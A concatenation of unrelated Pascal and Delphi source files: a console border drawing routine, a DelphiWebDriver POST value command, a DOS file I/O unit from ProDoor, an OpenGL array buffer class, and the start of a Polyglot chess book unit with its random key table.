var
x, y : integer;
begin
for x := 1 to widthScreen do
begin
gotoxy(x, 4);
write('*');
end;
for x := 1 to widthScreen do
begin
gotoxy(x, heightScreen + 3);
write('*');
end;
for y := 1 to heightScreen do
begin
gotoxy(1, y + 3);
write('*');
gotoxy(widthScreen, y + 3);
write('*');
end;
end;
(*
* Imprime l'etat des segement sous forme de 1 et 0.
*
* Param String
* data : contient la l'etat de tout les segments pour chaque digit du nombre
* Integer
* lengthNumber : la longueur du nombre
*)
Procedure printSegmentState(data : string; lengthNumber : integer);
var
i, j : integer;
segments : string;
begin
segments := 'ABCDEFG';
gotoxy(86, 2);
write('1=TRUE - 0=FALSE');
for i := 0 to lengthNumber - 1 do
begin
gotoxy(86, 3 + i);
for j := 1 to 7 do
begin
Write(segments[j], '=', data[i * 7 + j], ' ');
end;
end;
end;
|
{***************************************************************************}
{ }
{ DelphiWebDriver }
{ }
{ Copyright 2017 inpwtepydjuf@gmail.com }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit Commands.PostValue;
interface
uses
Sessions,
Vcl.Forms,
CommandRegistry,
HttpServerCommand;
type
TPostValueCommand = class(TRestCommand)
private
function OKResponse(const sessionId, value: String): String;
public
class function GetCommand: String; override;
class function GetRoute: String; override;
procedure Execute(AOwner: TForm); override;
end;
implementation
uses
Vcl.StdCtrls,
Vcl.Controls,
System.StrUtils,
System.SysUtils,
Utils,
System.Classes,
System.JSON;
procedure TPostValueCommand.Execute(AOwner: TForm);
var
jsonObj : TJSONObject;
value: String;
handle: integer;
ctrl: TComponent;
begin
// Decode the incoming JSON and see what we have
jsonObj := TJSONObject.ParseJSONValue(TEncoding.ASCII.GetBytes(self.StreamContents),0) as TJSONObject;
try
(jsonObj as TJsonObject).TryGetValue<String>('value', value);
finally
jsonObj.Free;
end;
try
if (isNumber(self.Params[2])) then
begin
handle := StrToInt(self.Params[2]);
ctrl := FindControl(handle);
if (ctrl <> nil) then
begin
if (ctrl is TEdit) then
(ctrl as TEdit).Text := value
else if (ctrl is TCombobox) then
(ctrl as TCombobox).Text := value;
// else if (ctrl is TStaticText) then
// (ctrl as TStaticText).Caption := value
// else if (ctrl is TCheckBox) then
// (ctrl as TCheckBox).Caption := value
// else if (ctrl is TLinkLabel) then
// (ctrl as TLinkLabel).Caption := value
// else if (ctrl is TRadioButton) then
// (ctrl as TRadioButton).Caption := value;
ResponseJSON(OKResponse(self.Params[2], value));
end
else
Error(404);
end
else
begin
// simple controls?
Error(404);
end;
except on e: Exception do
Error(404);
end;
end;
function TPostValueCommand.OKResponse(const sessionId, value: String): String;
var
jsonObject: TJSONObject;
begin
jsonObject := TJSONObject.Create;
jsonObject.AddPair(TJSONPair.Create('sessionId', sessionId));
// jsonObject.AddPair(TJSONPair.Create('status', '0'));
jsonObject.AddPair(TJSONPair.Create('value', value));
result := jsonObject.ToString;
end;
class function TPostValueCommand.GetCommand: String;
begin
result := 'POST';
end;
class function TPostValueCommand.GetRoute: String;
begin
result := '/session/(.*)/element/(.*)/value';
end;
end.
|
(*
* Copyright 1987, 1989 Samuel H. Smith; All rights reserved
*
* This is a component of the ProDoor System.
* Do not distribute modified versions without my permission.
* Do not remove or alter this notice or any other copyright notice.
* If you use this in your own program you must distribute source code.
* Do not use any of this in a commercial product.
*
*)
(*
* mdosio - Mini library for interface to DOS v3 file access functions
*
*)
{$i prodef.inc}
unit MDosIO;
interface
uses Dos;
type
dos_filename = string[64];
dos_handle = word;
long_integer = record
lsw: word;
msw: word;
end;
seek_modes = (seek_start {0},
seek_cur {1},
seek_end {2});
open_modes = (open_read {h40}, {deny_nothing, allow_read}
open_write {h41}, {deny_nothing, allow_write}
open_update{h42}); {deny_nothing, allow_read+write}
dos_time_functions = (time_get,
time_set);
const
dos_error = $FFFF; {file handle after an error}
var
dos_regs: registers;
dos_name: dos_filename;
procedure dos_call;
function dos_open(name: dos_filename;
mode: open_modes): dos_handle;
function dos_create(name: dos_filename): dos_handle;
function dos_read( handle: dos_handle;
var buffer;
bytes: word): word;
procedure dos_write(handle: dos_handle;
var buffer;
bytes: word);
function dos_write_failed: boolean;
procedure dos_lseek(handle: dos_handle;
offset: longint;
method: seek_modes);
procedure dos_rseek(handle: dos_handle;
recnum: word;
recsiz: word;
method: seek_modes);
function dos_tell: longint;
procedure dos_find_eof(fd: dos_handle);
procedure dos_close(handle: dos_handle);
procedure dos_unlink(name: dos_filename);
procedure dos_file_times(fd: dos_handle;
func: dos_time_functions;
var time: word;
var date: word);
function dos_jdate(time,date: word): longint;
function dos_exists(name: dos_filename): boolean;
implementation
(* -------------------------------------------------------- *)
procedure dos_call;
var
msg: string;
begin
msdos(dos_regs);
if (dos_regs.flags and Fcarry) <> 0 then
begin
case dos_regs.ax of
2: msg := 'file not found';
3: msg := 'dir not found';
4: msg := 'too many open files';
5: msg := 'access denied';
else str(dos_regs.ax,msg);
end;
{$I-}
writeln(' DOS error [',msg,'] on file [',dos_name,'] ');
{$i+}
dos_regs.ax := dos_error;
end;
end;
(* -------------------------------------------------------- *)
procedure prepare_dos_name(name: dos_filename);
begin
while (name <> '') and (name[length(name)] <= ' ') do
dec(name[0]);
if name = '' then
name := 'Nul';
dos_name := name;
dos_name[length(dos_name)+1] := #0;
dos_regs.ds := seg(dos_name);
dos_regs.dx := ofs(dos_name)+1;
end;
(* -------------------------------------------------------- *)
function dos_open(name: dos_filename;
mode: open_modes): dos_handle;
var
try: integer;
const
retry_count = 3;
begin
for try := 1 to retry_count do
begin
dos_regs.ax := $3d40 + ord(mode);
prepare_dos_name(name);
msdos(dos_regs);
if (dos_regs.flags and Fcarry) = 0 then
begin
dos_open := dos_regs.ax;
exit;
end;
end;
dos_open := dos_error;
end;
(* -------------------------------------------------------- *)
function dos_create(name: dos_filename): dos_handle;
begin
dos_regs.ax := $3c00;
prepare_dos_name(name);
dos_regs.cx := 0; {attrib}
dos_call;
dos_create := dos_regs.ax;
end;
(* -------------------------------------------------------- *)
function dos_read( handle: dos_handle;
var buffer;
bytes: word): word;
begin
dos_regs.ax := $3f00;
dos_regs.bx := handle;
dos_regs.cx := bytes;
dos_regs.ds := seg(buffer);
dos_regs.dx := ofs(buffer);
dos_call;
dos_read := dos_regs.ax;
end;
(* -------------------------------------------------------- *)
procedure dos_write(handle: dos_handle;
var buffer;
bytes: word);
begin
dos_regs.ax := $4000;
dos_regs.bx := handle;
dos_regs.cx := bytes;
dos_regs.ds := seg(buffer);
dos_regs.dx := ofs(buffer);
dos_call;
dos_regs.cx := bytes;
end;
function dos_write_failed: boolean;
begin
dos_write_failed := dos_regs.ax <> dos_regs.cx;
end;
(* -------------------------------------------------------- *)
procedure dos_lseek(handle: dos_handle;
offset: longint;
method: seek_modes);
var
pos: long_integer absolute offset;
begin
dos_regs.ax := $4200 + ord(method);
dos_regs.bx := handle;
dos_regs.cx := pos.msw;
dos_regs.dx := pos.lsw;
dos_call;
end;
(* -------------------------------------------------------- *)
procedure dos_rseek(handle: dos_handle;
recnum: word;
recsiz: word;
method: seek_modes);
var
offset: longint;
pos: long_integer absolute offset;
begin
offset := longint(recnum) * longint(recsiz);
dos_regs.ax := $4200 + ord(method);
dos_regs.bx := handle;
dos_regs.cx := pos.msw;
dos_regs.dx := pos.lsw;
dos_call;
end;
(* -------------------------------------------------------- *)
function dos_tell: longint;
{call immediately after dos_lseek or dos_rseek}
var
pos: long_integer;
li: longint absolute pos;
begin
pos.lsw := dos_regs.ax;
pos.msw := dos_regs.dx;
dos_tell := li;
end;
(* -------------------------------------------------------- *)
procedure dos_find_eof(fd: dos_handle);
{find end of file, skip backward over ^Z eof markers}
var
b: char;
n: word;
i: word;
p: longint;
temp: array[1..128] of char;
begin
dos_lseek(fd,0,seek_end);
p := dos_tell-1;
if p < 0 then
exit;
p := p and $FFFF80; {round to last 'sector'}
{search forward for the eof marker}
dos_lseek(fd,p,seek_start);
n := dos_read(fd,temp,sizeof(temp));
i := 1;
while (i <= n) and (temp[i] <> ^Z) do
begin
inc(i);
inc(p);
end;
{backup to overwrite the eof marker}
dos_lseek(fd,p,seek_start);
end;
(* -------------------------------------------------------- *)
procedure dos_close(handle: dos_handle);
begin
dos_regs.ax := $3e00;
dos_regs.bx := handle;
msdos(dos_regs); {dos_call;}
end;
(* -------------------------------------------------------- *)
procedure dos_unlink(name: dos_filename);
{delete a file, no error message if file doesn't exist}
begin
dos_regs.ax := $4100;
prepare_dos_name(name);
msdos(dos_regs);
end;
(* -------------------------------------------------------- *)
procedure dos_file_times(fd: dos_handle;
func: dos_time_functions;
var time: word;
var date: word);
begin
dos_regs.ax := $5700 + ord(func);
dos_regs.bx := fd;
dos_regs.cx := time;
dos_regs.dx := date;
dos_call;
time := dos_regs.cx;
date := dos_regs.dx;
end;
(* -------------------------------------------------------- *)
function dos_jdate(time,date: word): longint;
begin
(***
write(' d=',date:5,' t=',time:5,' ');
write('8', (date shr 9) and 127:1); {year}
write('/', (date shr 5) and 15:2); {month}
write('/', (date ) and 31:2); {day}
write(' ', (time shr 11) and 31:2); {hour}
write(':', (time shr 5) and 63:2); {minute}
write(':', (time shl 1) and 63:2); {second}
writeln(' j=', (longint(date) shl 16) + longint(time));
***)
dos_jdate := (longint(date) shl 16) + longint(time);
end;
(* -------------------------------------------------------- *)
function dos_exists(name: dos_filename): boolean;
var
DirInfo: SearchRec;
begin
prepare_dos_name(name);
FindFirst(dos_name,$21,DirInfo);
if (DosError <> 0) then
dos_exists := false
else
dos_exists := true;
end;
end.
|
unit VSEArrayBuffer;
interface
uses
Windows, AvL, avlUtils, OpenGL, oglExtensions, avlVectors;
type
TVertex=packed record
Vertex: TVector3D;
Normal: TVector3D;
TexCoord: TVector2D;
end;
TFaceI=packed record
Vert1, Vert2, Vert3: Integer;
end;
TFaceW=packed record
Vert1, Vert2, Vert3: Word;
end;
PVertexArray=^TVertexArray;
TVertexArray=array[0..MaxInt div SizeOf(TVertex)-1] of TVertex;
TArrayBuffer=class
private
FID: Cardinal;
FTarget: GLenum;
FData: Pointer;
FSize: Integer;
public
constructor Create(UseVBO: Boolean = true); //Create array buffer; UseVBO: use VBO if supported
destructor Destroy; override;
procedure Map(Access: GLenum); //Map buffer to system memory
function Unmap: Boolean; //Unmap buffer, returns True if successful
procedure Bind(Target: GLenum); //Bind buffer to OpenGL, unmaps buffer
procedure Unbind; //Unbind buffer
procedure SetData(Data: Pointer; Size: Integer; Usage: GLenum = GL_STATIC_DRAW_ARB); //Set buffer data; Data: pointer to new buffer data; Size: size of data
function SetSubData(SubData: Pointer; Offset, Size: Integer): Boolean; //Set part of buffer data; SubData: pointer to new data; Offset: offset of data in buffer; Size: size of data
property Data: Pointer read FData; //Pointer to buffer data, valid only when buffer mapped
property Size: Integer read FSize; //Size of buffer
end;
implementation
{$IFDEF VSE_LOG}uses VSELog;{$ENDIF}
constructor TArrayBuffer.Create(UseVBO: Boolean);
begin
inherited Create;
if UseVBO and GL_ARB_vertex_buffer_object then glGenBuffersARB(1, @FID);
end;
destructor TArrayBuffer.Destroy;
begin
Unmap;
Unbind;
if FID<>0 then glDeleteBuffersARB(1, @FID);
if Assigned(FData) then FreeMem(FData, FSize);
inherited Destroy;
end;
procedure TArrayBuffer.Map(Access: GLenum);
begin
if (FID=0) or (FTarget=0) then Exit;
FData:=glMapBufferARB(FTarget, Access);
end;
function TArrayBuffer.Unmap: Boolean;
begin
Result:=FID=0;
if (FID<>0) and Assigned(FData) then
begin
Result:=glUnmapBufferARB(FTarget);
FData:=nil;
end;
end;
procedure TArrayBuffer.Bind(Target: GLenum);
begin
if FID=0 then Exit;
Unmap;
glBindBufferARB(Target, FID);
FTarget:=Target;
end;
procedure TArrayBuffer.Unbind;
begin
if (FTarget<>0) and (FID<>0) then glBindBufferARB(FTarget, 0);
end;
procedure TArrayBuffer.SetData(Data: Pointer; Size: Integer; Usage: GLenum);
begin
Unmap;
if FID=0 then
begin
FreeMem(FData, FSize);
GetMem(FData, Size);
FSize:=Size;
if Assigned(Data) then
Move(Data^, FData^, Size);
end
else begin
if FTarget=0 then FTarget:=GL_ARRAY_BUFFER_ARB;
Bind(FTarget);
glBufferDataARB(FTarget, Size, Data, Usage);
FData:=nil;
FSize:=Size;
Unbind;
end;
end;
function TArrayBuffer.SetSubData(SubData: Pointer; Offset, Size: Integer): Boolean;
begin
Result:=(Offset+Size)<FSize;
if not Result then Exit;
Unmap;
if FID=0
then Move(Data^, IncPtr(FData, Offset)^, Size)
else begin
if FTarget=0 then FTarget:=GL_ARRAY_BUFFER_ARB;
Bind(FTarget);
glBufferSubDataARB(FTarget, Offset, Size, Data);
Unbind;
end;
end;
end.
|
unit Book;
interface
uses
SysUtils, Classes;
function PolyglotKey(const APosition: string): UInt64;
function BestMove(const AKey: UInt64; const ABookName: TFileName): string; overload;
function BestMove(const APosition: string; const ABookName: TFileName): string; overload;
implementation
////////////////////////////////////////////////////////////////////////
type
U64 = UInt64;
const
Random64: array[0..780] of UInt64 = (
U64($9D39247E33776D41), U64($2AF7398005AAA5C7), U64($44DB015024623547), U64($9C15F73E62A76AE2),
U64($75834465489C0C89), U64($3290AC3A203001BF), U64($0FBBAD1F61042279), U64($E83A908FF2FB60CA),
U64($0D7E765D58755C10), U64($1A083822CEAFE02D), U64($9605D5F0E25EC3B0), U64($D021FF5CD13A2ED5),
U64($40BDF15D4A672E32), U64($011355146FD56395), U64($5DB4832046F3D9E5), U64($239F8B2D7FF719CC),
U64($05D1A1AE85B49AA1), U64($679F848F6E8FC971), U64($7449BBFF801FED0B), U64($7D11CDB1C3B7ADF0),
U64($82C7709E781EB7CC), U64($F3218F1C9510786C), U64($331478F3AF51BBE6), U64($4BB38DE5E7219443),
U64($AA649C6EBCFD50FC), U64($8DBD98A352AFD40B), U64($87D2074B81D79217), U64($19F3C751D3E92AE1),
U64($B4AB30F062B19ABF), U64($7B0500AC42047AC4), U64($C9452CA81A09D85D), U64($24AA6C514DA27500),
U64($4C9F34427501B447), U64($14A68FD73C910841), U64($A71B9B83461CBD93), U64($03488B95B0F1850F),
U64($637B2B34FF93C040), U64($09D1BC9A3DD90A94), U64($3575668334A1DD3B), U64($735E2B97A4C45A23),
U64($18727070F1BD400B), U64($1FCBACD259BF02E7), U64($D310A7C2CE9B6555), U64($BF983FE0FE5D8244),
U64($9F74D14F7454A824), U64($51EBDC4AB9BA3035), U64($5C82C505DB9AB0FA), U64($FCF7FE8A3430B241),
U64($3253A729B9BA3DDE), U64($8C74C368081B3075), U64($B9BC6C87167C33E7), U64($7EF48F2B83024E20),
U64($11D505D4C351BD7F), U64($6568FCA92C76A243), U64($4DE0B0F40F32A7B8), U64($96D693460CC37E5D),
U64($42E240CB63689F2F), U64($6D2BDCDAE2919661), U64($42880B0236E4D951), U64($5F0F4A5898171BB6),
U64($39F890F579F92F88), U64($93C5B5F47356388B), U64($63DC359D8D231B78), U64($EC16CA8AEA98AD76),
U64($5355F900C2A82DC7), U64($07FB9F855A997142), U64($5093417AA8A7ED5E), U64($7BCBC38DA25A7F3C),
U64($19FC8A768CF4B6D4), U64($637A7780DECFC0D9), U64($8249A47AEE0E41F7), U64($79AD695501E7D1E8),
U64($14ACBAF4777D5776), U64($F145B6BECCDEA195), U64($DABF2AC8201752FC), U64($24C3C94DF9C8D3F6),
U64($BB6E2924F03912EA), U64($0CE26C0B95C980D9), U64($A49CD132BFBF7CC4), U64($E99D662AF4243939),
U64($27E6AD7891165C3F), U64($8535F040B9744FF1), U64($54B3F4FA5F40D873), U64($72B12C32127FED2B),
U64($EE954D3C7B411F47), U64($9A85AC909A24EAA1), U64($70AC4CD9F04F21F5), U64($F9B89D3E99A075C2),
U64($87B3E2B2B5C907B1), U64($A366E5B8C54F48B8), U64($AE4A9346CC3F7CF2), U64($1920C04D47267BBD),
U64($87BF02C6B49E2AE9), U64($092237AC237F3859), U64($FF07F64EF8ED14D0), U64($8DE8DCA9F03CC54E),
U64($9C1633264DB49C89), U64($B3F22C3D0B0B38ED), U64($390E5FB44D01144B), U64($5BFEA5B4712768E9),
U64($1E1032911FA78984), U64($9A74ACB964E78CB3), U64($4F80F7A035DAFB04), U64($6304D09A0B3738C4),
U64($2171E64683023A08), U64($5B9B63EB9CEFF80C), U64($506AACF489889342), U64($1881AFC9A3A701D6),
U64($6503080440750644), U64($DFD395339CDBF4A7), U64($EF927DBCF00C20F2), U64($7B32F7D1E03680EC),
U64($B9FD7620E7316243), U64($05A7E8A57DB91B77), U64($B5889C6E15630A75), U64($4A750A09CE9573F7),
U64($CF464CEC899A2F8A), U64($F538639CE705B824), U64($3C79A0FF5580EF7F), U64($EDE6C87F8477609D),
U64($799E81F05BC93F31), U64($86536B8CF3428A8C), U64($97D7374C60087B73), U64($A246637CFF328532),
U64($043FCAE60CC0EBA0), U64($920E449535DD359E), U64($70EB093B15B290CC), U64($73A1921916591CBD),
U64($56436C9FE1A1AA8D), U64($EFAC4B70633B8F81), U64($BB215798D45DF7AF), U64($45F20042F24F1768),
U64($930F80F4E8EB7462), U64($FF6712FFCFD75EA1), U64($AE623FD67468AA70), U64($DD2C5BC84BC8D8FC),
U64($7EED120D54CF2DD9), U64($22FE545401165F1C), U64($C91800E98FB99929), U64($808BD68E6AC10365),
U64($DEC468145B7605F6), U64($1BEDE3A3AEF53302), U64($43539603D6C55602), U64($AA969B5C691CCB7A),
U64($A87832D392EFEE56), U64($65942C7B3C7E11AE), U64($DED2D633CAD004F6), U64($21F08570F420E565),
U64($B415938D7DA94E3C), U64($91B859E59ECB6350), U64($10CFF333E0ED804A), U64($28AED140BE0BB7DD),
U64($C5CC1D89724FA456), U64($5648F680F11A2741), U64($2D255069F0B7DAB3), U64($9BC5A38EF729ABD4),
U64($EF2F054308F6A2BC), U64($AF2042F5CC5C2858), U64($480412BAB7F5BE2A), U64($AEF3AF4A563DFE43),
U64($19AFE59AE451497F), U64($52593803DFF1E840), U64($F4F076E65F2CE6F0), U64($11379625747D5AF3),
U64($BCE5D2248682C115), U64($9DA4243DE836994F), U64($066F70B33FE09017), U64($4DC4DE189B671A1C),
U64($51039AB7712457C3), U64($C07A3F80C31FB4B4), U64($B46EE9C5E64A6E7C), U64($B3819A42ABE61C87),
U64($21A007933A522A20), U64($2DF16F761598AA4F), U64($763C4A1371B368FD), U64($F793C46702E086A0),
U64($D7288E012AEB8D31), U64($DE336A2A4BC1C44B), U64($0BF692B38D079F23), U64($2C604A7A177326B3),
U64($4850E73E03EB6064), U64($CFC447F1E53C8E1B), U64($B05CA3F564268D99), U64($9AE182C8BC9474E8),
U64($A4FC4BD4FC5558CA), U64($E755178D58FC4E76), U64($69B97DB1A4C03DFE), U64($F9B5B7C4ACC67C96),
U64($FC6A82D64B8655FB), U64($9C684CB6C4D24417), U64($8EC97D2917456ED0), U64($6703DF9D2924E97E),
U64($C547F57E42A7444E), U64($78E37644E7CAD29E), U64($FE9A44E9362F05FA), U64($08BD35CC38336615),
U64($9315E5EB3A129ACE), U64($94061B871E04DF75), U64($DF1D9F9D784BA010), U64($3BBA57B68871B59D),
U64($D2B7ADEEDED1F73F), U64($F7A255D83BC373F8), U64($D7F4F2448C0CEB81), U64($D95BE88CD210FFA7),
U64($336F52F8FF4728E7), U64($A74049DAC312AC71), U64($A2F61BB6E437FDB5), U64($4F2A5CB07F6A35B3),
U64($87D380BDA5BF7859), U64($16B9F7E06C453A21), U64($7BA2484C8A0FD54E), U64($F3A678CAD9A2E38C),
U64($39B0BF7DDE437BA2), U64($FCAF55C1BF8A4424), U64($18FCF680573FA594), U64($4C0563B89F495AC3),
U64($40E087931A00930D), U64($8CFFA9412EB642C1), U64($68CA39053261169F), U64($7A1EE967D27579E2),
U64($9D1D60E5076F5B6F), U64($3810E399B6F65BA2), U64($32095B6D4AB5F9B1), U64($35CAB62109DD038A),
U64($A90B24499FCFAFB1), U64($77A225A07CC2C6BD), U64($513E5E634C70E331), U64($4361C0CA3F692F12),
U64($D941ACA44B20A45B), U64($528F7C8602C5807B), U64($52AB92BEB9613989), U64($9D1DFA2EFC557F73),
U64($722FF175F572C348), U64($1D1260A51107FE97), U64($7A249A57EC0C9BA2), U64($04208FE9E8F7F2D6),
U64($5A110C6058B920A0), U64($0CD9A497658A5698), U64($56FD23C8F9715A4C), U64($284C847B9D887AAE),
U64($04FEABFBBDB619CB), U64($742E1E651C60BA83), U64($9A9632E65904AD3C), U64($881B82A13B51B9E2),
U64($506E6744CD974924), U64($B0183DB56FFC6A79), U64($0ED9B915C66ED37E), U64($5E11E86D5873D484),
U64($F678647E3519AC6E), U64($1B85D488D0F20CC5), U64($DAB9FE6525D89021), U64($0D151D86ADB73615),
U64($A865A54EDCC0F019), U64($93C42566AEF98FFB), U64($99E7AFEABE000731), U64($48CBFF086DDF285A),
U64($7F9B6AF1EBF78BAF), U64($58627E1A149BBA21), U64($2CD16E2ABD791E33), U64($D363EFF5F0977996),
U64($0CE2A38C344A6EED), U64($1A804AADB9CFA741), U64($907F30421D78C5DE), U64($501F65EDB3034D07),
U64($37624AE5A48FA6E9), U64($957BAF61700CFF4E), U64($3A6C27934E31188A), U64($D49503536ABCA345),
U64($088E049589C432E0), U64($F943AEE7FEBF21B8), U64($6C3B8E3E336139D3), U64($364F6FFA464EE52E),
U64($D60F6DCEDC314222), U64($56963B0DCA418FC0), U64($16F50EDF91E513AF), U64($EF1955914B609F93),
U64($565601C0364E3228), U64($ECB53939887E8175), U64($BAC7A9A18531294B), U64($B344C470397BBA52),
U64($65D34954DAF3CEBD), U64($B4B81B3FA97511E2), U64($B422061193D6F6A7), U64($071582401C38434D),
U64($7A13F18BBEDC4FF5), U64($BC4097B116C524D2), U64($59B97885E2F2EA28), U64($99170A5DC3115544),
U64($6F423357E7C6A9F9), U64($325928EE6E6F8794), U64($D0E4366228B03343), U64($565C31F7DE89EA27),
U64($30F5611484119414), U64($D873DB391292ED4F), U64($7BD94E1D8E17DEBC), U64($C7D9F16864A76E94),
U64($947AE053EE56E63C), U64($C8C93882F9475F5F), U64($3A9BF55BA91F81CA), U64($D9A11FBB3D9808E4),
U64($0FD22063EDC29FCA), U64($B3F256D8ACA0B0B9), U64($B03031A8B4516E84), U64($35DD37D5871448AF),
U64($E9F6082B05542E4E), U64($EBFAFA33D7254B59), U64($9255ABB50D532280), U64($B9AB4CE57F2D34F3),
U64($693501D628297551), U64($C62C58F97DD949BF), U64($CD454F8F19C5126A), U64($BBE83F4ECC2BDECB),
U64($DC842B7E2819E230), U64($BA89142E007503B8), U64($A3BC941D0A5061CB), U64($E9F6760E32CD8021),
U64($09C7E552BC76492F), U64($852F54934DA55CC9), U64($8107FCCF064FCF56), U64($098954D51FFF6580),
U64($23B70EDB1955C4BF), U64($C330DE426430F69D), U64($4715ED43E8A45C0A), U64($A8D7E4DAB780A08D),
U64($0572B974F03CE0BB), U64($B57D2E985E1419C7), U64($E8D9ECBE2CF3D73F), U64($2FE4B17170E59750),
U64($11317BA87905E790), U64($7FBF21EC8A1F45EC), U64($1725CABFCB045B00), U64($964E915CD5E2B207),
U64($3E2B8BCBF016D66D), U64($BE7444E39328A0AC), U64($F85B2B4FBCDE44B7), U64($49353FEA39BA63B1),
U64($1DD01AAFCD53486A), U64($1FCA8A92FD719F85), U64($FC7C95D827357AFA), U64($18A6A990C8B35EBD),
U64($CCCB7005C6B9C28D), U64($3BDBB92C43B17F26), U64($AA70B5B4F89695A2), U64($E94C39A54A98307F),
U64($B7A0B174CFF6F36E), U64($D4DBA84729AF48AD), U64($2E18BC1AD9704A68), U64($2DE0966DAF2F8B1C),
U64($B9C11D5B1E43A07E), U64($64972D68DEE33360), U64($94628D38D0C20584), U64($DBC0D2B6AB90A559),
U64($D2733C4335C6A72F), U64($7E75D99D94A70F4D), U64($6CED1983376FA72B), U64($97FCAACBF030BC24),
U64($7B77497B32503B12), U64($8547EDDFB81CCB94), U64($79999CDFF70902CB), U64($CFFE1939438E9B24),
U64($829626E3892D95D7), U64($92FAE24291F2B3F1), U64($63E22C147B9C3403), U64($C678B6D860284A1C),
U64($5873888850659AE7), U64($0981DCD296A8736D), U64($9F65789A6509A440), U64($9FF38FED72E9052F),
U64($E479EE5B9930578C), U64($E7F28ECD2D49EECD), U64($56C074A581EA17FE), U64($5544F7D774B14AEF),
U64($7B3F0195FC6F290F), U64($12153635B2C0CF57), U64($7F5126DBBA5E0CA7), U64($7A76956C3EAFB413),
U64($3D5774A11D31AB39), U64($8A1B083821F40CB4), U64($7B4A38E32537DF62), U64($950113646D1D6E03),
U64($4DA8979A0041E8A9), U64($3BC36E078F7515D7), U64($5D0A12F27AD310D1), U64($7F9D1A2E1EBE1327),
U64($DA3A361B1C5157B1), U64($DCDD7D20903D0C25), U64($36833336D068F707), U64($CE68341F79893389),
U64($AB9090168DD05F34), U64($43954B3252DC25E5), U64($B438C2B67F98E5E9), U64($10DCD78E3851A492),
U64($DBC27AB5447822BF), U64($9B3CDB65F82CA382), U64($B67B7896167B4C84), U64($BFCED1B0048EAC50),
U64($A9119B60369FFEBD), U64($1FFF7AC80904BF45), U64($AC12FB171817EEE7), U64($AF08DA9177DDA93D),
U64($1B0CAB936E65C744), U64($B559EB1D04E5E932), U64($C37B45B3F8D6F2BA), U64($C3A9DC228CAAC9E9),
U64($F3B8B6675A6507FF), U64($9FC477DE4ED681DA), U64($67378D8ECCEF96CB), U64($6DD856D94D259236),
U64($A319CE15B0B4DB31), U64($073973751F12DD5E), U64($8A8E849EB32781A5), U64($E1925C71285279F5),
U64($74C04BF1790C0EFE), U64($4DDA48153C94938A), U64($9D266D6A1CC0542C), U64($7440FB816508C4FE),
U64($13328503DF48229F), U64($D6BF7BAEE43CAC40), U64($4838D65F6EF6748F), U64($1E152328F3318DEA),
U64($8F8419A348F296BF), U64($72C8834A5957B511), U64($D7A023A73260B45C), U64($94EBC8ABCFB56DAE),
U64($9FC10D0F989993E0), U64($DE68A2355B93CAE6), U64($A44CFE79AE538BBE), U64($9D1D84FCCE371425),
U64($51D2B1AB2DDFB636), U64($2FD7E4B9E72CD38C), U64($65CA5B96B7552210), U64($DD69A0D8AB3B546D),
U64($604D51B25FBF70E2), U64($73AA8A564FB7AC9E), U64($1A8C1E992B941148), U64($AAC40A2703D9BEA0),
U64($764DBEAE7FA4F3A6), U64($1E99B96E70A9BE8B), U64($2C5E9DEB57EF4743), U64($3A938FEE32D29981),
U64($26E6DB8FFDF5ADFE), U64($469356C504EC9F9D), U64($C8763C5B08D1908C), U64($3F6C6AF859D80055),
U64($7F7CC39420A3A545), U64($9BFB227EBDF4C5CE), U64($89039D79D6FC5C5C), U64($8FE88B57305E2AB6),
U64($A09E8C8C35AB96DE), U64($FA7E393983325753), U64($D6B6D0ECC617C699), U64($DFEA21EA9E7557E3),
U64($B67C1FA481680AF8), U64($CA1E3785A9E724E5), U64($1CFC8BED0D681639), U64($D18D8549D140CAEA),
U64($4ED0FE7E9DC91335), U64($E4DBF0634473F5D2), U64($1761F93A44D5AEFE), U64($53898E4C3910DA55),
U64($734DE8181F6EC39A), U64($2680B122BAA28D97), U64($298AF231C85BAFAB), U64($7983EED3740847D5),
U64($66C1A2A1A60CD889), U64($9E17E49642A3E4C1), U64($EDB454E7BADC0805), U64($50B704CAB602C329),
U64($4CC317FB9CDDD023), U64($66B4835D9EAFEA22), U64($219B97E26FFC81BD), U64($261E4E4C0A333A9D),
U64($1FE2CCA76517DB90), U64($D7504DFA8816EDBB), U64($B9571FA04DC089C8), U64($1DDC0325259B27DE),
U64($CF3F4688801EB9AA), U64($F4F5D05C10CAB243), U64($38B6525C21A42B0E), U64($36F60E2BA4FA6800),
U64($EB3593803173E0CE), U64($9C4CD6257C5A3603), U64($AF0C317D32ADAA8A), U64($258E5A80C7204C4B),
U64($8B889D624D44885D), U64($F4D14597E660F855), U64($D4347F66EC8941C3), U64($E699ED85B0DFB40D),
U64($2472F6207C2D0484), U64($C2A1E7B5B459AEB5), U64($AB4F6451CC1D45EC), U64($63767572AE3D6174),
U64($A59E0BD101731A28), U64($116D0016CB948F09), U64($2CF9C8CA052F6E9F), U64($0B090A7560A968E3),
U64($ABEEDDB2DDE06FF1), U64($58EFC10B06A2068D), U64($C6E57A78FBD986E0), U64($2EAB8CA63CE802D7),
U64($14A195640116F336), U64($7C0828DD624EC390), U64($D74BBE77E6116AC7), U64($804456AF10F5FB53),
U64($EBE9EA2ADF4321C7), U64($03219A39EE587A30), U64($49787FEF17AF9924), U64($A1E9300CD8520548),
U64($5B45E522E4B1B4EF), U64($B49C3B3995091A36), U64($D4490AD526F14431), U64($12A8F216AF9418C2),
U64($001F837CC7350524), U64($1877B51E57A764D5), U64($A2853B80F17F58EE), U64($993E1DE72D36D310),
U64($B3598080CE64A656), U64($252F59CF0D9F04BB), U64($D23C8E176D113600), U64($1BDA0492E7E4586E),
U64($21E0BD5026C619BF), U64($3B097ADAF088F94E), U64($8D14DEDB30BE846E), U64($F95CFFA23AF5F6F4),
U64($3871700761B3F743), U64($CA672B91E9E4FA16), U64($64C8E531BFF53B55), U64($241260ED4AD1E87D),
U64($106C09B972D2E822), U64($7FBA195410E5CA30), U64($7884D9BC6CB569D8), U64($0647DFEDCD894A29),
U64($63573FF03E224774), U64($4FC8E9560F91B123), U64($1DB956E450275779), U64($B8D91274B9E9D4FB),
